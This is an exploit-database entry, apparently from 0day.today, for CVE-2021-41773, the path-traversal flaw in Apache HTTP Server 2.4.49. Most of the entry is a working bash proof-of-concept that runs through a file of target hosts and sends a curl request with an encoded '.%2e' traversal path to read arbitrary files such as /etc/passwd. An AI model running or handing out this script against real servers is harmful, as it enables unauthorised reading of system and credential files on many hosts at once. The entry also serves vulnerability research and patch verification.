Lucene search

K
zdtLucas Souza1337DAY-ID-36854
HistoryOct 06, 2021 - 12:00 a.m.

Apache HTTP Server 2.4.49 - Path Traversal Vulnerability

2021-10-0600:00:00
Lucas Souza
0day.today
355

0.975 High

EPSS

Percentile

100.0%

# Exploit Title: Apache HTTP Server 2.4.49 - Path Traversal
# Exploit Author: Lucas Souza https://lsass.io
# Vendor Homepage:  https://apache.org/
# Version: 2.4.49
# Tested on: 2.4.49
# CVE : CVE-2021-41773
# Credits: Ash Daulton and the cPanel Security Team

#!/bin/bash

if [[ $1 =3D=3D '' ]]; [[ $2 =3D=3D '' ]]; then
echo Set [TAGET-LIST.TXT] [PATH]
echo ./PoC.sh targets.txt /etc/passwd
exit
fi
for host in $(cat $1); do
curl --silent --path-as-is --insecure "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e$2"; done